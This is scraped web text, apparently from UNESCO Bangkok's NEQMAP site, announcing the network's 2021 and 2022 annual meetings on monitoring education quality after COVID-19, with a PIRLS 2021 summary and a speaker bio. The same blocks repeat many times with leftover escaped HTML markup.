As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

